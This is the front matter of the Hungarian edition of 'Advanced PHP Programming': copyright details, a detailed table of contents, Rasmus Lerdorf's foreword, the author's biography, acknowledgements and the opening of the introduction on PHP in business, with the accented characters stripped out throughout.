You are on page 1of 692

A fordts a kvetkez angol eredeti alapjn kszlt: George Schlossnagle: Advanced PHP Programing Copyright 2004 Sams Publishing.

. Minden jog fenntartva! Authorized translation from the English language edition, entitled Advanced PHP Programing, lst Edition, ISBN 0672325616, by Schlossnagle, George, published by Pearson Education, Inc, publishing as Que/Sams. Copyright 2004 by Sams Publishing Translation and Hungrin edition 2004 Kiskapu Kft. Ali rights reserved! Ali rights reserved. No part of this book, including interior desing, cover design, and icons, may be reproduced or transmitted in any form, by any means (electronic, photocopying, recording, or otherwise) without the prior written permission of the publisher. Trademarked names appear throughout this book. Rather than st the names and entities that own the trademarks or insert a trademark symbol with each mention of the trademarked name, the publisher st.ues that it is using the names for editorial purposes only and to the beneft of the trademark owner, with no intention of infringing upon that trademark. Fordts s magyar vltozat 2004 Kiskapu Kft. Minden jog fenntartva! A knyv egyetlen rsze sem sokszorosthat semmilyen mdszerrel a Kiad elzetes rsos engedlye nlkl. Ez a korltozs kiterjed a bels tervezsre, a bortra s az ikonokra is. A knyvben bejegyzett vdjegyek s mrkanevek is felbukkanhatnak. Ahelyett, hogy ezt minden egyes helyen kln jeleznnk, a Kiad ezennel kijelenti, hogy a mben elfordul valamennyi vdett nevet s jelzst szerkesztsi clokra, jhiszemen, a nv tulajdonosnak rdekeit szem eltt tartva hasznlja, s nem ll szndkban az azokkal kapcsolatos jogokat megszegni, vagy ktsgbe vonni. A szerzk s a kiad a lehet legnagyobb krltekintssel jrt el e kiadvny elksztsekor. Sem a szerz, sem a kiad nem vllal semminem felelssget vagy garancit a knyv tartalmval, teljessgvel kapcsolatban. Sem a szerz, sem a kiad nem vonhat felelssgre brmilyen baleset vagy kresemny miatt, mely kzvetve vagy kzvetlenl kapcsolatba hozhat e kiadvnnyal. Nyelvi lektor: Rzmves Lszl Szakmai lektorok: Palcz Istvn (1-5., 7., 8. f), Papp Gyz (6., 9- f), Komromi Zoltn (10-23- f) Fordts: Gilicze Blint, Rzmves Lszl Mszaki szerkeszt: Csutak Hoffmann Levente Trdels: Csutak Hoffmann Levente Bort: Zsdely Terz Felels kiad a Kiskapu Kft. gyvezet igazgatja 2004 Kiskapu Kft. 1081 Budapest, Npsznhz u. 31. I. 7. Telefon: (+36-1) 477-0443 Fax: (+36-1) 303-1619 http ://kiado .kiskapu. hu/ e-mail: kiado@kiskapu.hu ISBN: 963 9301 80 9 Kszlt a debreceni Kinizsi Nyomdban Felels vezet: Brds Jnos

ttekints

Tartalomjegyzk Elsz A szerzrl Bevezets

I. rsz Megvalstsi s fejlesztsi mdszerek


1. fejezet Kdolsi stlusok 2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel 3. fejezet Hibakezels 4. fejezet Megvalsts PHP nyelven: a sablonok s a Vilghl 5. fejezet Megvalsts PHP nyelven: nll programok 6. fejezet Egysgtesztels 7. fejezet A fejlesztkmyezet kezelse 8. fejezet Hogyan tervezznk j API-t?

II.rsz Gyorstrak
9. fejezet Teljestmnyfokozs kls mdszerekkel 10. fejezet Adatsszetevk tmeneti trolsa 11. fejezet Szmtsi jrahasznosts

III. rsz Elosztott alkalmazsok


12. fejezet Adatbzisok hasznlata 13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

vi

PHP fejleszts felsfokon

14. fejezet 15. fejezet 16. fejezet 17. fejezet 18. fejezet 19. fejezet

Munkamenetek kezelse Elosztott krnyezet kiptse RPC: Egyttmkds tvoli szolgltatsokkal Teljestmnymrs: teljes alkalmazsok tesztelse Profilkszts Szintetikus mrs: kdblokkok s fggvnyek rtkelse A PHP s a Zend Engine titkai A PHP bvtse: I. rsz A PHP bvtse: II. rsz SAPI-k ksztse s a Zend Engine bvtmnye

V. r
20. 21. 22. 23. fejezet fejezet fejezet fejezet

Trgymutat

Tartalomjegyzk

Elsz A szerzrl Bevezets

Megvalsitsi s fejlesztsi mdszerek


1. fejezet Kdolsi stlusok
A megfelel stlus kivlasztsa .............................................................................. 4 A kd formzsa s elrendezse............................................................................... 4 Behzs................................................................................................................ 4 Sorhossz............................................................................................................... 7 Trkzk hasznlata .......................................................................................... 8 SQL irnyelvek..................................................................................................... 8 Vezrlsi szerkezetek............................................................................................ 9 Kapcsos zrjelek a vezrlsi szerkezetekben ................................................9 A kapcsos zrjelek kvetkezetes hasznlata..................................................10 for vagy while vagy foreach?..........................................................................11 Cikluson belli vezrls a break s a continue hasznlatval.......................... 13 A mlyen egymsba gyazott felttelek elkerlse..........................................14

viii

PHP fejleszts felsfokon

Nvszimblumok ................................................................................................ 14 llandk s valdi globlis vltozk ................................................................. 16 Hossz let vltozk .......................................................................................18 Ideiglenes vltozk .......................................................................................... 18 Tbb szbl ll nevek........................................................................................ 19 Fggvnynevek .................................................................................................. 19 Osztlynevek...................................................................................................... 20 Tagfggvnynevek.............................................................................................. 20 Az elnevezsek kvetkezetessge .......................................................................20 A vltoznevek s smanevek egyeztetse ........................................................ 21 A zavaros kdok elkerlse ................................................................................. 22 Rvid cmkk......................................................................................................22 HTML ksztse echo-val....................................................................................23 Kvetkezetes zrjelezs..................................................................................... 23 Dokumentci .....................................................................................................24 Soron belli megjegyzsek.................................................................................. 25 API dokumentci.............................................................................................. 26 A phpDocumentor hasznlata........................................................................ 27 Tovbbi olvasmnyok............................................................................................. 31

2. fejezet

Objektumkzpont programozs tervezsi mintk segtsgvel

Bevezets az objektumkzpont programozsba..................................................... 34 rkls ............................................................................................................ 36 Egysgbe zrs....................................................................................................37 Statikus tulajdonsgok s tagfggvnyek............................................................. 38 Klnleges tagfggvnyek.................................................................................. 39 Rvid bevezets a tervezsi mintk hasznlatba .................................................. 41 Az Illeszt minta ............................................................................................. 41 A Sablon minta................................................................................................... 46 Tbbalaksg......................................................................................................47 Felletek s tpusjelzsek.................................................................................... 49 A Gyr minta .................................................................................................... 52 Az Egyke minta ............................................................................................... 54 Tlterhels ..........................................................................................................56

PHP fejleszts felsfokon

ix

Az SPL s a bejrk .......................................................................................... 62 _ _call() ........................................................................................................... 68 _ _autoloadO ................................................................................................... 71 Tovbbi olvasmnyok............................................................................................. 71

3. fejezet

Hibakezels

A hibk kezelse.................................................................................................... 76 A hibk megjelentse ...................................................................................... 76 A hibk naplzsa .............................................................................................78 A hibk figyelmen kvl hagysa.........................................................................79 Mveletek vgzse hiba esetn .......................................................................... 80 A kls hibk kezelse........................................................................................... 81 Kivtelek................................................................................................................85 Kivtelhierarchik hasznlata............................................................................. 88 Tpusos kivtelek - egy plda .............................................................................90 A kivtelek lncolsa.......................................................................................... 96 Konstruktrn belli hibk kezelse ...................................................................99 Fels szint kivtelkezel belltsa.................................................................. 100 Adatrvnyests ............................................................................................ 103 Mikor hasznljunk kivteleket? .......................................................................... 108 Tovbbi olvasmnyok........................................................................................... 108

4. fejezet

Megvalsts PHP nyelven: a sablonok s a Vilghl

Smarty................................................................................................................. 110 A Smarty teleptse........................................................................................... 111 Els Smarty sablonunk: Hello, Vilg! .............................................................112 Lefordtott sablonok a httrben ..................................................................... 113 A Smarty vezrlsi szerkezetei.......................................................................... 114 A Smarty fggvnyei s egyebek........................................................................117 tmeneti trols a Smarty-val........................................................................... 120 A Smarty halad szolgltatsai..........................................................................122 Sajt sablonrendszer ksztse.............................................................................. 123 Tovbbi olvasmnyok........................................................................................... 125

PHP fejleszts felsfokon

5. fejezet

Megvalsts PHP nyelven: nll programok

A PHP parancssori fellete: bevezets...................................................................129 A bemenet s kimenet kezelse ..........................................................................130 A parancssori argumentumok feldolgozsa...........................................................132 Gyermekfolyamatok ltrehozsa s kezelse ...................................................... 135 A megosztott erforrsok bezrsa.................................................................... 136 Vltozk megosztsa .......................................................................................137 Takarts a gyermekek utn...............................................................................137 Jelzsek ...........................................................................................................139 SIGCHLD .................................................................................................. 140 SIGALRM.....................................................................................................142 Egyb szokvnyos jelzsek...........................................................................144 Dmonok rsa ................................................................................................... 144 A munkaknyvtr megvltoztatsa.................................................................... 145 A kivltsgok feladsa ................................................................................... 146 A kizrlagossg biztostsa..............................................................................147 A tanultak sszefoglalsa: figyelszolglat ........................................................ 147 Tovbbi olvasmnyok........................................................................................... 157

6. fejezet

Egysgtesztels

Bevezets az egysgtesztelsbe............................................................................. 161 Egysgtesztek rsa automatikus egysgtesztelshez ........................................ 161 Els egysgtesztnk.......................................................................................... l6l Tbb teszt hozzadsa.......................................................................................163 Kdon belli s kvli egysgtesztek.....................................................................164 Kdon belli tesztels .................................................................................... 164 nll tesztek ................................................................................................ 166 Egyszerre tbb teszt futtatsa............................................................................ 168 A PHPUnit tovbbi szolgltatsai......................................................................... 169 Beszdesebb hibazenetek ltrehozsa.............................................................. 170 Tbb tesztfelttel hozzadsa............................................................................ 171 A setUpO s tearDownO tagfggvnyek hasznlata.......................................... 173 Figyelk hozzadsa ...................................................................................... 174 Grafikus fellet hasznlata................................................................................176

PHP fejleszts felsfokon

xi

Tesztvezrelt tervezs ..........................................................................................176 A Flesch pontszmt........................................................................................ 177 A Word osztly tesztelse..................................................................................178 1. hibajelents ................................................................................................186 Egysgtesztels webes krnyezetben .................................................................. 188 Tovbbi olvasmnyok........................................................................................... 191

7. fejezet

A fejlesztkrnyezet kezelse

Vltozatkezels ................................................................................................... 194 A CVS alapjai ................................................................................................. 195 A fjlok mdostsa ........................................................................................198 A fjlok klnbsgeinek vizsglata .................................................................199 Tbb fejleszt egy munkn ............................................................................. 202 Jelzcmkk.......................................................................................................204 gak................................................................................................................. 205 A fejlesztsi s zemi krnyezet fenntartsa...................................................... 206 Csomagkezels ................................................................................................... 211 A kd csomagolsa s kibocstsa..................................................................... 213 Binris llomnyok csomagolsa....................................................................... 216 Az Apache csomagolsa.................................................................................... 217 A PHP csomagolsa ........................................................................................ 218 Tovbbi olvasmnyok........................................................................................... 219

8. fejezet

Hogyan tervezznk j API-t?

jrapthetsg s bvthetsg ......................................................................... 222 A logika fggvnyekbe zrsa ......................................................................... 223 Egyszer osztlyok s fggvnyek hasznlata .................................................. 224 Nvterek hasznlata.......................................................................................... 225 A csatols cskkentse...................................................................................... 227 Vdekez kdols.................................................................................................228 Kdolsi szabvnyok fellltsa ......................................................................229 Ferttlentsi eljrsok hasznlata .................................................................. 229 Tovbbi olvasmnyok...........................................................................................231

xii

PHP fejleszts felsfokon

Gyorstrak
9. fejezet Teljestmnyfokozs kls mdszerekkel
Teljestmnyfokozs a nyelv szintjn.................................................................... 235 Fordti gyorstrak............................................................................................236 Nyelvi optimalizlok ...................................................................................... 239 HTTP gyorstk ............................................................................................. 240 Fordtott helyettesek.......................................................................................... 242 Teljestmnyfokozs az opercis rendszer szintjn........................................... 246 Helyettes gyorstrak.......................................................................................... 247 Gyorstrbart PHP alkalmazsok..........................................................................248 Tartalomtmrts................................................................................................ 253 Tovbbi olvasmnyok........................................................................................... 254 RFC-k............................................................................................................... 254 Fordti gyorstrak............................................................................................254 Helyettes gyorstrak.......................................................................................... 255 Tartalomtmrts ..........................................................................................255

10. fejezet Adatsszetevk tmeneti trolsa


A gyorstrazssal kapcsolatos krdsek ............................................................. 258 A gyorstrakban trolhat adatsszetevk felismerse .........................................259 Sajt vagy elre elksztett osztlyok - melyiket vlasszuk? ............................... 259 Gyorstrak a memriban.....................................................................................263 Gyorstrak szerkezet nlkli fjlokban.............................................................. 263 A gyorstr mretnek fenntartsa...................................................................... 263 A gyorstrak egyidej hasznlata s sszhangja.................................................264 DBM alap gyorstrak......................................................................................... 271 A gyorstrak egyidej elrse s sszhangja ................................................... 273 A tartalom rvnytelentse s a gyorstrak karbantartsa..................................273 Gyorstr a megosztott memriban...................................................................... 278 Sti alap gyorstrak........................................................................................... 279 A gyorstr mretnek kezelse.......................................................................... 284 Egyidej hozzfrs s az adatok sszhangja.....................................................285 Gyorstrak hasznlata az alkalmazsokban.......................................................... 285

PHP fejleszts felsfokon

xiii

Honlapok trolsa ........................................................................................... 288 Az Apache mod_rewrite modulja trols okosan ........................................295 Oldalak rszeinek trolsa.................................................................................299 Lekrdezsek s gyorstrak .............................................................................. 302 Tovbbi olvasmnyok........................................................................................... 304

11. fejezet Szmtsi jrahasznosts


Plda: a Fibonacci-sorozat.................................................................................... 305 jrahasznosthat adatok trolsa egy krelmen bell ........................................312 jrahasznosthat adatok trolsa krelmek kztt............................................... 315 Szmtsi jrahasznosts a PHP-ben....................................................................319 PCRE-k............................................................................................................. 319 Elemszm s hossz............................................................................................320 Tovbbi olvasmnyok........................................................................................... 320

Elosztott alkalmazsok
12. fejezet Adatbzisok hasznlata
Ismerkeds az adatbzisok s lekrdezsek mkdsvel ....................................324 Lekrdezsek vizsglata az EXPLAIN segtsgvel...............................................327 Melyik lekrdezst javtsuk?.............................................................................. 329 Adatbzis-elrsi mintk...................................................................................... 331 Ad hoc lekrdezsek ........................................................................................332 Az aktv rekord minta....................................................................................... 333 A lekpez minta.............................................................................................. 335 Az egyestett lekpez minta ........................................................................... 341 Az adatbzis-elrs hatkonysgnak nvelse..................................................... 343 Az eredmnyhalmaz korltozsa .................................................................... 343 Lusta elkszts ............................................................................................ 345 Tovbbi olvasmnyok........................................................................................... 348

xiv

PHP fejleszts felsfokon

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga


Egyszer hitelestsi smk.................................................................................. 350 Egyszer HTTP-hitelests ............................................................................. 351 A lekrdezsi karakterlnc csatolsa ...............................................................352 Stik hasznlata ..............................................................................................352 Felhasznlk bejegyzse....................................................................................... 354 A jelszavak vdelme..........................................................................................354 Vdelem az emberi tnyez kihasznlsa ellen ................................................ 357 A hitelests fenntartsa - hogyan gyzdjnk meg arrl, hogy mg mindig ugyanahhoz beszlnk? .......................................................... 358 A $_SERVER[REMOTE_IP] vltozatlansgnak ellenrzse............................358 A $_SERVER[USER_AGENT] vltozatlansgnak ellenrzse ...................... 359 Titkostatlan stik hasznlata .......................................................................... 359 A kvetend mdszerekrl ............................................................................. 359 Titkosts hasznlata................................................................................... 360 Az elavuls megvalstsa........................................................................... 360 Felhasznlk azonostsa .......................................................................... 361 Hitelests a gyakorlatban - egy plda................................................................ 361 Egyszeri feliratkozs ......................................................................................... 367 Az egyszeri feliratkozs megvalstsa.............................................................. 369 Tovbbi olvasmnyok........................................................................................... 375

14. fejezet

Munkamenetek kezelse

gyfl oldali munkamenetek ............................................................................. 378 Munkamenetek megvalstsa stik segtsgvel............................................... 379 A plda tovbbfejlesztse...................................................................................382 Kiszolgl oldali munkamenetek .......................................................................383 A munkamenet-azonost nyomon kvetse.......................................................385 Beptett mdszerek a munkameneti azonostk kvetsre ........................385 A PHP munkamenetek alapjai ......................................................................... 387 Sajt munkamenet-kezel mdszerek ............................................................. 389 Szemtgyjts................................................................................................... 395 Szemtgyjts a files kezelben ..................................................................396

PHP fejleszts felsfokon

xv

Szemtgyjts az mm kezelben.................................................................. 396 Szemtgyjts a MySession kezelben ....................................................... 396 gyfl vagy kiszolgl oldali munkamenetek - melyiket vlasszuk?.................. 397 Sajt beptett munkamenet-kezelk megvalstsa........................................... 397

15. fejezet

Elosztott krnyezet kiptse

Mi is az a frt?..................................................................................................... 399 Frtk tervezse ................................................................................................. 402 F az elrelts .............................................................................................. 403 Csapatjtk....................................................................................................... 404 A fggvnyek nvterei .............................................................................. 404 Hivatkozzunk a szolgltatsokra teljes ler nevekkel! .............................. 405 Az erforrsok nvterei................................................................................ 405 Tartalom elosztsa a frtkben.......................................................................... 406 Vzszintes mretezs ...................................................................................... 407 Klnleges cl frtk...................................................................................... 407 Gyorstrak elosztott krnyezetben ..................................................................... 408 Kzpontostott gyorstrak ...............................................................................411 Teljesen szttertett gyorstrak ksztse a Spread segtsgvel ........................ 413 Adatbzisok mretezse .....................................................................................417 Mester-szolga rendszerekre pl alkalmazsok ksztse ............................... 421 A tbbszrzs alternatvi .............................................................................423 A relcis adatbzis-kezel rendszerek alternatvi .......................................... 424 Tovbbi olvasmnyok........................................................................................... 425

16. fejezet

RPC: Egyttmkds tvoli szolgltatsokkal

XML-RPC............................................................................................................. 428 Egy kiszolgl felptse: a MetaWeblog API megvalstsa .......................... 430 Az XML-RPC szolgltatsok automatikus feldertse........................................ 435 SOAP................................................................................................................... 438 WSDL............................................................................................................... 441 A sysem.load trsa SOAP szolgltatss.........................................................443

xvi

PHP fejleszts felsfokon

Amazon webszolgltatsok s sszetett tpusok................................................. 446 Helyettes kd ksztse .................................................................................... 448 A SOAP s az XML-RPC sszehasonltsa ........................................................449 Tovbbi olvasmnyok........................................................................................... 450 SOAP .............................................................................................................. 450 XML-RPC ........................................................................................................ 450 Webnaplzs ...................................................................................................451 Nyilvnosan elrhet webszolgltatsok .......................................................... 451

Teljestmny
17. fejezet Teljestmnymrs: teljes alkalmazsok tesztelse
A szk keresztmetszetek passzv azonostsa ...................................................... 456 Terhelskpzk.................................................................................................... 458 ab......................................................................................................................459 httperf .............................................................................................................460 A napl alap terhelskpz ..................................................................... 461 A munkamenet-szimultor ........................................................................462 A valsgh adatkpz................................................................................ 462 Daiquiri ......................................................................................................... 463 Tovbbi olvasmnyok........................................................................................... 464

18. fejezet

Profilkszts

A j PHP profilkszt titka.................................................................................. 466 Profilkszt alkalmazsok - a bsg zavarval kszkdve....................................466 Az APD teleptse s hasznlata ........................................................................ 467 Egy nyomkvetsi plda....................................................................................... 469 Egy nagyobb alkalmazs profiljnak elksztse................................................... 471 Az ltalnos gyengesgek feldertse ................................................................. 477 A felesleges szolgltatsok eltvoltsa ............................................................... 480 Tovbbi olvasmnyok........................................................................................... 485

PHP fejleszts felsfokon

xvii

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse


A mrs alapjai .................................................................................................. 489 A mrsi krnyezet kiptse ............................................................................. 489 A PEAR mrcsomagja.....................................................................................490 A mrrendszer kiptse.................................................................................. 493 Vletlen adatok lpsenknti hasznlata .........................................................494 A mrrendszer terhelsnek levonsa ........................................................... 495 Egyb idmrsi adatok.................................................................................... 497 Mrsek a kdban ........................................................................................... 500 Mrsi pldk .....................................................................................................501 Karakterek keresse a karakterlncok elejn...................................................... 502 Makrkifejts .................................................................................................. 503 Beszrs vagy sszefzs?.................................................................................510

B ovthetoseg
20. fejezet A PHP s a Zend Engine titkai
A Zend Engine mkdse: opkdok s optmbk................................................. 516 Vltozk .............................................................................................................522 Fggvnyek.......................................................................................................... 526 Osztlyok .......................................................................................................... 528 Az objektumkezelk ....................................................................................... 530 Objektumok ltrehozsa ................................................................................. 531 Ms fontos adatszerkezetek .............................................................................. 531 A PHP krelmek letciklusa ...............................................................................534 A SAPI rteg..................................................................................................... 535 A PHP magja ................................................................................................. 537 A PHP bvtsi API ............................................................................................ 538 A Zend bvtsi API.......................................................................................... 539 sszell a kp ................................................................................................. 541

xviii

PHP fejleszts felsfokon

21. fejezet A PHP bvtse: I. rsz


A bvtmnyek alapjai..........................................................................................544 Bvtmnyvz ksztse.....................................................................................545 Bvtmnyek felptse s engedlyezse .......................................................... 548 Fggvnyek hasznlata .................................................................................. 549 Egy egyszer plda...................................................................................... 549 A tpusok s a memria kezelse....................................................................... 551 Karakterlncok feldolgozsa .......................................................................... 555 Ms visszatrsi makrk ............................................................................. 556 Tpusok kezelse............................................................................................... 557 Tpustalaktsok s elrsi makrk.................................................................. 562 Erforrsok hasznlata......................................................................................566 Hibk visszaadsa .......................................................................................... 571 Modulhorgok hasznlata ................................................................................ 572 Modulok indtsa s lelltsa...................................................................... 572 Modulok kikapcsolsa .............................................................................. 578 Krelmek indtsa s kikapcsolsa ............................................................ 579 Egy plda: a Spread gyfl burkolja ..................................................................581 MINIT...............................................................................................................582 MSHUTDOWN................................................................................................. 583 A modul fggvnyei.......................................................................................... 583 A Spread modul hasznlata ............................................................................ 591 Tovbbi olvasmnyok........................................................................................... 592

22. fejezet A PHP bvtse: II. rsz


Osztlyok megvalstsa...................................................................................... 593 j osztly ltrehozsa........................................................................................595 Tulajdonsgok hozzadsa................................................................................ 596 Osztlyrkls.................................................................................................. 598 Tagfggvnyek hozzadsa .............................................................................. 599 Konstruktrk hozzadsa................................................................................ 602 Kivtelek kivltsa............................................................................................603 Sajt objektumok s privt vltozk.................................................................. 604

PHP fejleszts felsfokon

xix

Gyrtfggvnyek hasznlata .........................................................................607 Felletek ltrehozsa s megvalstsa ........................................................... 608 Sajt munkamenet-kezelk ksztse ................................................................. 610 A folyamkezel API............................................................................................. 615 Tovbbi olvasmnyok........................................................................................... 626

23. fejezet

SAPI-k ksztse s a Zend Engine bvtmnye

A SAPI-krl ........................................................................................................627 A CGI SPI.......................................................................................................627 A CGI SPI alkalmazs....................................................................................635 A begyazsi SPI .........................................................................................638 SPI bemeneti szrk .................................................................................... 640 input_filter ............................................................................................... 641 A treat_data s a default_post_reader........................................................... 645 A Zend Engine mdostsa s bels vizsglata ....................................................646 Figyelmeztetsek helyett kivtelek.....................................................................646 Opkdok kiratsa ........................................................................................... 649 APD ................................................................................................................. 652 APC ................................................................................................................ 654 A Zend bvtmnyek visszahvhat fggvnyei..................................................654 Hzi feladat.......................................................................................................... 657

Trgymutat

659

Elsz
Nemrg lapozgattam William Gibson knyveit s az Ali Tomorrow's Parties cm ktetben erre bukkantam: Ami tltervezett vagy tl egyedi, annak eredmnye mindig elre lthat, s ez az elre lthatsg, ha nem is bukssal, de az elegancia hinyval jr. Gibson elegnsan foglalja ssze, mirt bukik meg sok rendszer. A sznes ngyszgek tblra rajzolsval nincs semmi baj, de eme ragaszkodsunk a bonyolulthoz hatalmas htrnyt jelent. Amikor megterveznk valamit, arra van szksg, hogy az adott problmra adjunk megoldst. Nem szabad elre tekintennk, hogy a problma vajon mi lesz vekkel ksbb, egy nagymret, sszetett felptmnyben, amikor pedig egy ltalnos cl eszkzt ptnk, nem szabad tlzott konkrtsggal megktnnk a felhasznl kezt. A PHP maga is e kett - a webes feladatok megoldsnak konkrtsga, illetve egy bizonyos, a felhasznlk kezt megkt megolds megadsra val hajlam - kztt egyenslyoz. Kevesen mondank a PHP-re, hogy elegns. Parancsnyelvknt szmos, a Vilghl csataterein tbbves szolglat kzben szerzett sebet hordoz. Ami elegns benne, az a megkzelts egyszersge. Minden fejleszt idrl idre vltogatja, milyen megkzeltst alkalmaz egy-egy feladat megoldsra. Kezdetben az egyszer megoldsokat rszestik elnyben, mert nem elg tapasztaltak ahhoz, hogy a bonyolultabb elveket megrtsk. Ahogy tudsuk gyarapszik, az alkalmazott megoldsok egyre bonyolultabbak lesznek, s a megoldhat feladatok nagysga is fokozatosan n. Ekkor fenyeget annak a veszlye, hogy az sszetettsg rutinn vlik s csapdba ejt. Elegend id s erforrs birtokban minden feladat megoldhat szinte brmilyen eszkzzel. Az eszkz csupn arra val, hogy ne legyen tban. A PHP ppen erre trekszik. Nem knyszert rnk semmilyen programozsi megkzeltst, s igyekszik a lehet legkisebbre cskkenteni a kznk s a megoldand problma kz bekeld rtegek szmt.

xxii

PHP fejleszts felsfokon

Ez azt jelenti, hogy a PHP-ben minden adott, hogy megtalljuk a legegyszerbb s legelegnsabb megoldst, s ne kelljen elvesznnk a rtegek s felletek nyolc eladterem tblit elfoglal tengerben. Termszetesen az, hogy minden eszkzt megkapunk, amivel elkerlhetjk egy szrnyeteg ptst, nem garantlja, hogy gy is lesz. De szerencsre itt van neknk George s ez a knyv. George olyan utazsra hv minket, ami sajt tjra hasonlt, nem csupn a PHPvel, hanem a programfejlesztssel s problmamegoldssal kapcsolatban ltalban. Pr napnyi olvass utn elsajtthatjuk mindazt a tudst, amit a terleten vek munkjval szerzett meg. Nem rossz zlet, gyhogy nem is rdemes e haszontalan elszval vesztegetni az idt - irny az els fejezet s az utazs! Rasmus Lerdorf

A szerzrl
George Schlossnagle igazgatknt dolgozik az OmniTI Computer Consulting nev marylandi cgnl, amelynek szakterlett a nagymret webes s elektronikus levelezsi rendszerek jelentik. Mieltt az OmniTI-hez kerlt volna, technikai vezetje volt szmos magasszint kzssgi webhelynek, ahol tapasztalatokat szerzett a PHP igen nagy vllalati krnyezetekben trtn alkalmazsval kapcsolatban. lland rsztvevje a PHP kzssg munkjnak, hozzjrult tbbek kztt a PHP mag, illetve a PEAR s PECL bvtmnytrak fejlesztshez. Mieltt az informci-technolgia terletre lpett volna, George matematikusnak kszlt, s kt vig szolglt a Bkehadtestben, mint tanr. Tapasztalatai megtantottk arra, hogy a problmamegoldsban rtkelje az interdiszciplinris megkzeltst, ami a bajok gykerig hatol, nem csupn a tneteket kezeli.

Ksznetnyilvnts
A knyv rsa sorn rengeteget tanultam, s ezt mindenkinek meg szeretnm ksznni, aki segtette munkmat. A PHP valamennyi fejlesztjnek ksznm, hogy kemny munkval ilyen nagyszer termket lltottak el. lland erfesztseik nlkl e ktetnek nem lett volna tmja. Shelley Johnston, Dmon Jordn, Sheila Schroeder, Kitty Jarrett, s a Sams kiad tbbi munkatrsa: ksznm, hogy bizalmat szavaztak nekem s knyvemnek. Nlklk ez csak egy meg nem valsult brnd lenne. Mszaki szerkesztim, Brian Franc, Zak Greant s Sterling Hughes: ksznm a fejezetvzlatok elolvassra s megjegyzsekkel elltsra sznt idt s energit, ami nlkl biztos vagyok benne - a knyv befejezetlen maradt volna, s tele lenne hibval. Testvremnek, Theo-nak: ksznm a folyamatos szakmai kritikt s sztnzst, valamint azt, hogy tvetted a munkmat, amikor a knyv befejezsn dolgoztam.

xxiv

PHP fejleszts felsfokon

Szleimnek: ksznm, hogy azz neveltetek, aki ma vagyok, s klnsen hls vagyok anymnak, Sherrynek, aki nagylelken vgigolvasta a knyv valamennyi fejezett. Remlem, bszkk lehettek rm. s aki a legfontosabb, felesgem, Pei: ksznm, hogy megingathatatlanul mellettem lltl s egy ven t nzetlenl felldoztad az jszakkat s htvgket, hogy dolgozhassam a knyvn. rkk hls leszek a szeretetrt, trelemrt s tmogatsrt.

Bevezets
Ez a knyv arra trekszik, hogy az Olvasbl szakrt PHP programozt faragjon. Szakrt programoznak lenni nem csupn annyit jelent, hogy tkletesen ismerjk a nyelvtant s a nyelv szolgltatsait (br ez ktsgkvl segt), hanem azt is, hogy kpesek vagyunk hatkonyan hasznlni feladatok megoldsra. A knyv elolvassa utn tisztban lesznk a PHP erssgeivel s gyengivel, valamint a webes s ms feladatok megoldsnak legjobb mdszereivel. A ktet az elveket tartja szem eltt, gy ltalnos problmkat r le, s ezekre ad egy-egy konkrt pldt, szemben a szakcsknyv" szemllet knyvekkel, amelyekben mind a problmk, mind a megoldsok egyediek. Ahogy az angol monds tartja: Adj egy halat, s egy napig van mit ennem - tants meg halszni, s soha tbb nem hezem." A ktet clja, hogy megtantsa az eszkzk hasznlatt, amelyekkel brmilyen feladatot megoldhatunk, s hogy megtantsa kivlasztani a megfelel eszkzt. Vlemnynk szerint a legknnyebb pldkon keresztl tanulni, ezrt a knyvben rengeteg gyakorlati plda szerepel, amelyek bemutatjk a trgyalt fogalmakat. A vals krnyezettel nem rendelkez elmleti pldk nem sokat rnek, gy a knyvben csak valdi feladatok elvgzsre alkalmas, igazi" kdokat tallunk. Nem hasznltunk olyan osztlyneveket, mint az angol nyelv pldkban gyakori Foo s Bar; ahol csak lehetsges volt, igyekeztnk ltez nylt forrs programokbl venni a pldkat, hogy igazi megvalstsokat lssunk.

xxvi

PHP fejleszts felsfokon

A PHP az zleti letben


Amikor 1999-ben elkezdtem hivatsszeren foglalkozni a PHP programozssal, a nyelv ppen csak kezdett tbb lenni egy jabb, amatrk ltal hasznlt parancsnyelvnl. Akkor adtk ki a PHP 4-et az els Zend motorral, ami gyorsabb s stabilabb tette a nyelvet. A PHP-t hasznlk szma ugrsszeren nvekedni kezdett, de a nagy, zleti cl webhelyek szmra mg mindig nehz volt eladni. A nehzsg leginkbb kt forrsbl eredt: A Perl, ColdFusion s ms parancsnyelveken fejlesztk nem frisstettk ismereteiket a PHP fejldsvel, gy nem voltak tisztban az j kpessgekkel. A Java nyelven fejlesztk nagy s teljes keretrendszereket, erteljes objektumkzpont tmogatst, statikus tpusokat s ms, zleti" kpessgeket kvntak. Mra egyik sem jelent akadlyt. A PHP tbb nem ragasztnyelv, amit lelkes amatrk hasznlnak, hanem erteljes parancsnyelv, amelyet felptse ideliss tesz a webes feladatok megoldsra. Egy programozsi nyelv hat kvetelmnynek kell, hogy eleget tegyen, hogy zleti cl alkalmazsokban is hasznlhatv vljon: Gyors prototpus-kszts s megvalsts A modern programozsi megkzeltsek (paradigmk) tmogatsa Mretezhetsg (Kivl) teljestmny Egyttmkdsi kpessg Bvthetsg

Az els kvetelmny - a gyors prototpus-ksztsi lehetsg - szletse ta erssge a PHP-nek. A webes fejlesztsek s a celofnba csomagolt szoftvertermkek kztti egyik lnyeges klnbsg, hogy a Weben egy termk leszlltsnak" szinte semmilyen kltsge nincs. A csomagolt termkek esetben azonban egy aprcska hiba is azt jelentheti, hogy ezernyi CD-t rattunk tele hibs kddal, s ezt csak gy javthatjuk ki, ha rtestjk valamennyi rintett vsrlt a hibajavts ltezsrl, s rvesszk ket, hogy tltsk le s teleptsk. A webes hibajavtsoknl elg, ha a felhasznl legkzelebb jra betlti az oldalt, ezrt a webalkalmazsok rugalmasan s gyakran frissthetk. A parancsnyelvek ltalban is kitnek rugalmas programok fejlesztsre, mert lehetv teszik, hogy anlkl fejlessznk gyorsan s prbljunk ki j tleteket, hogy ismtelten vgig kellene jrnunk a fordtssszeszerkesztstesztels-hibakeress procedrjt. A PHP klnsen j az ilyesmire, mert nagyon gyorsan tanulhat, gy j fejlesztket minimlis tapasztalattal is bevonhatunk.

PHP fejleszts felsfokon

xxvii

